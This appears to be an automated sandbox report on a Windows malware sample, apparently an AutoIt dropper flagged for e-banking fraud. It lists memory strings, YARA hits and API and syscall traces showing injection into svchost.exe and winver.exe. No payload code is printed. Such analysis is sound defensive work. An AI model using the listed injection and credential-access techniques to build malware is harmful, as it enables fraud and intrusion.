Source: winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: winver.exe, 00000006.00000002.3547176638.0000000006296000.00000004.10000000.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000002.3546321653.0000000003CA6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto
Source: winver.exe, 00000006.00000002.3545292765.0000000000C41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: winver.exe, 00000006.00000002.3545292765.0000000000C41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: winver.exe, 00000006.00000002.3545292765.0000000000C41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: winver.exe, 00000006.00000002.3545292765.0000000000C41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: winver.exe, 00000006.00000002.3545292765.0000000000C22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033-
Source: winver.exe, 00000006.00000002.3545292765.0000000000C41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: winver.exe, 00000006.00000002.3545292765.0000000000C22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: winver.exe, 00000006.00000003.2196529533.000000000792D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: winver.exe, 00000006.00000002.3547176638.0000000006296000.00000004.10000000.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000002.3546321653.0000000003CA6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://s3-us-west-2.amazonaws.com/s.cdpn.io/16327/MorphSVGPlugin.min.js
Source: winver.exe, 00000006.00000002.3547176638.0000000006296000.00000004.10000000.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000002.3546321653.0000000003CA6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://s3-us-west-2.amazonaws.com/s.cdpn.io/16327/SplitText.min.js
Source: winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D8EA26 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00D8EA26

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D8EC91 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00D8EC91

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

0_2_00D8EA26

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D7A975 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

0_2_00D7A975

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00DA9468 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00DA9468

E-Banking Fraud

Binary is likely a compiled AutoIt script file

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2012145210.0000000005860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3546137914.0000000000F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3545010767.0000000000830000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3547691925.0000000004ED0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2011124026.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3546082583.0000000000EF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3546078918.0000000002AE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2011753567.0000000003B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00D1445D
Source: FOTO#U011eRAFLAR.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: FOTO#U011eRAFLAR.exe, 00000000.00000000.1680307359.0000000000DD2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_dd8392f3-2
Source: FOTO#U011eRAFLAR.exe, 00000000.00000000.1680307359.0000000000DD2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_208ce716-3
Source: FOTO#U011eRAFLAR.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_6e1c3ee0-b
Source: FOTO#U011eRAFLAR.exe	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_10692679-1

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042CA63 NtClose,	1_2_0042CA63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040ADDC NtAllocateVirtualMemory,	1_2_0040ADDC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872B60 NtClose,LdrInitializeThunk,	1_2_03872B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872DF0 NtQuerySystemInformation,LdrInitializeThunk,	1_2_03872DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038735C0 NtCreateMutant,LdrInitializeThunk,	1_2_038735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03874340 NtSetContextThread,	1_2_03874340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03874650 NtSuspendThread,	1_2_03874650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872B80 NtQueryInformationFile,	1_2_03872B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872BA0 NtEnumerateValueKey,	1_2_03872BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872BE0 NtQueryValueKey,	1_2_03872BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872BF0 NtAllocateVirtualMemory,	1_2_03872BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872AB0 NtWaitForSingleObject,	1_2_03872AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872AD0 NtReadFile,	1_2_03872AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872AF0 NtWriteFile,	1_2_03872AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872F90 NtProtectVirtualMemory,	1_2_03872F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872FA0 NtQuerySection,	1_2_03872FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872FB0 NtResumeThread,	1_2_03872FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872FE0 NtCreateFile,	1_2_03872FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872F30 NtCreateSection,	1_2_03872F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872F60 NtCreateProcessEx,	1_2_03872F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872E80 NtReadVirtualMemory,	1_2_03872E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872EA0 NtAdjustPrivilegesToken,	1_2_03872EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872EE0 NtQueueApcThread,	1_2_03872EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872E30 NtWriteVirtualMemory,	1_2_03872E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872DB0 NtEnumerateKey,	1_2_03872DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872DD0 NtDelayExecution,	1_2_03872DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872D00 NtSetInformationFile,	1_2_03872D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872D10 NtMapViewOfSection,	1_2_03872D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872D30 NtUnmapViewOfSection,	1_2_03872D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872CA0 NtQueryInformationToken,	1_2_03872CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872CC0 NtQueryVirtualMemory,	1_2_03872CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872CF0 NtOpenProcess,	1_2_03872CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872C00 NtQueryInformationProcess,	1_2_03872C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872C60 NtCreateKey,	1_2_03872C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872C70 NtFreeVirtualMemory,	1_2_03872C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03873090 NtSetValueKey,	1_2_03873090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03873010 NtOpenDirectoryObject,	1_2_03873010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038739B0 NtGetContextThread,	1_2_038739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03873D10 NtOpenProcessToken,	1_2_03873D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03873D70 NtOpenThread,	1_2_03873D70
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD4650 NtSuspendThread,LdrInitializeThunk,	6_2_04AD4650
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD4340 NtSetContextThread,LdrInitializeThunk,	6_2_04AD4340
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2CA0 NtQueryInformationToken,LdrInitializeThunk,	6_2_04AD2CA0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2C60 NtCreateKey,LdrInitializeThunk,	6_2_04AD2C60
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_04AD2C70
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_04AD2DF0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2DD0 NtDelayExecution,LdrInitializeThunk,	6_2_04AD2DD0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2D30 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_04AD2D30
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2D10 NtMapViewOfSection,LdrInitializeThunk,	6_2_04AD2D10
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2E80 NtReadVirtualMemory,LdrInitializeThunk,	6_2_04AD2E80
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2EE0 NtQueueApcThread,LdrInitializeThunk,	6_2_04AD2EE0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2FB0 NtResumeThread,LdrInitializeThunk,	6_2_04AD2FB0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2FE0 NtCreateFile,LdrInitializeThunk,	6_2_04AD2FE0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2F30 NtCreateSection,LdrInitializeThunk,	6_2_04AD2F30
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2AF0 NtWriteFile,LdrInitializeThunk,	6_2_04AD2AF0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2AD0 NtReadFile,LdrInitializeThunk,	6_2_04AD2AD0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2BA0 NtEnumerateValueKey,LdrInitializeThunk,	6_2_04AD2BA0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2BE0 NtQueryValueKey,LdrInitializeThunk,	6_2_04AD2BE0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_04AD2BF0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2B60 NtClose,LdrInitializeThunk,	6_2_04AD2B60
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD35C0 NtCreateMutant,LdrInitializeThunk,	6_2_04AD35C0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD39B0 NtGetContextThread,LdrInitializeThunk,	6_2_04AD39B0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2CF0 NtOpenProcess,	6_2_04AD2CF0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2CC0 NtQueryVirtualMemory,	6_2_04AD2CC0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2C00 NtQueryInformationProcess,	6_2_04AD2C00
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2DB0 NtEnumerateKey,	6_2_04AD2DB0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2D00 NtSetInformationFile,	6_2_04AD2D00
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2EA0 NtAdjustPrivilegesToken,	6_2_04AD2EA0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2E30 NtWriteVirtualMemory,	6_2_04AD2E30
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2FA0 NtQuerySection,	6_2_04AD2FA0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2F90 NtProtectVirtualMemory,	6_2_04AD2F90
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2F60 NtCreateProcessEx,	6_2_04AD2F60
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2AB0 NtWaitForSingleObject,	6_2_04AD2AB0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD2B80 NtQueryInformationFile,	6_2_04AD2B80
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD3090 NtSetValueKey,	6_2_04AD3090
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD3010 NtOpenDirectoryObject,	6_2_04AD3010
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD3D10 NtOpenProcessToken,	6_2_04AD3D10
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_04AD3D70 NtOpenThread,	6_2_04AD3D70
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_008591F0 NtCreateFile,	6_2_008591F0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_00859360 NtReadFile,	6_2_00859360
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_008594F0 NtClose,	6_2_008594F0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_00859450 NtDeleteFile,	6_2_00859450
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_00859660 NtAllocateVirtualMemory,	6_2_00859660

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D7D588: CreateFileW,DeviceIoControl,CloseHandle,

0_2_00D7D588

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D71145 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00D71145

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D7E814 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00D7E814

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D781EE	0_2_00D781EE
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D1E3F0	0_2_00D1E3F0
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D4E4A0	0_2_00D4E4A0
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D466FB	0_2_00D466FB
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00DA47A8	0_2_00DA47A8
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D3CA30	0_2_00D3CA30
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D1AB30	0_2_00D1AB30
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D2ADFD	0_2_00D2ADFD
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D46D79	0_2_00D46D79
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D192A0	0_2_00D192A0
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D2D3B5	0_2_00D2D3B5
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D31324	0_2_00D31324
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D31696	0_2_00D31696
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D377AB	0_2_00D377AB
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D2B728	0_2_00D2B728
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D199D0	0_2_00D199D0
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D379DA	0_2_00D379DA
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D31940	0_2_00D31940
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D31C07	0_2_00D31C07
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D37C37	0_2_00D37C37
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D9BD6B	0_2_00D9BD6B
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D31EC2	0_2_00D31EC2
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D49E8E	0_2_00D49E8E
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D2BEAD	0_2_00D2BEAD
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D81F64	0_2_00D81F64
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_01238882	0_2_01238882
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_01237E90	0_2_01237E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418AD3	1_2_00418AD3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042F043	1_2_0042F043
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E827	1_2_0040E827
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402995	1_2_00402995
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004029A0	1_2_004029A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004032E6	1_2_004032E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004032F0	1_2_004032F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00410443	1_2_00410443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041043B	1_2_0041043B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00416D23	1_2_00416D23
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402DE0	1_2_00402DE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00410663	1_2_00410663
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004026C0	1_2_004026C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E6E3	1_2_0040E6E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004026BE	1_2_004026BE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384E3F0	1_2_0384E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039003E6	1_2_039003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FA352	1_2_038FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C02C0	1_2_038C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E0274	1_2_038E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F41A2	1_2_038F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039001AA	1_2_039001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F81CC	1_2_038F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03830100	1_2_03830100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DA118	1_2_038DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C8158	1_2_038C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D2000	1_2_038D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383C7C0	1_2_0383C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03864750	1_2_03864750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840770	1_2_03840770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385C6E0	1_2_0385C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03900591	1_2_03900591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840535	1_2_03840535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038EE4F6	1_2_038EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E4420	1_2_038E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F2446	1_2_038F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F6BD7	1_2_038F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FAB40	1_2_038FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383EA80	1_2_0383EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038429A0	1_2_038429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0390A9A6	1_2_0390A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03856962	1_2_03856962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038268B8	1_2_038268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386E8F0	1_2_0386E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384A840	1_2_0384A840
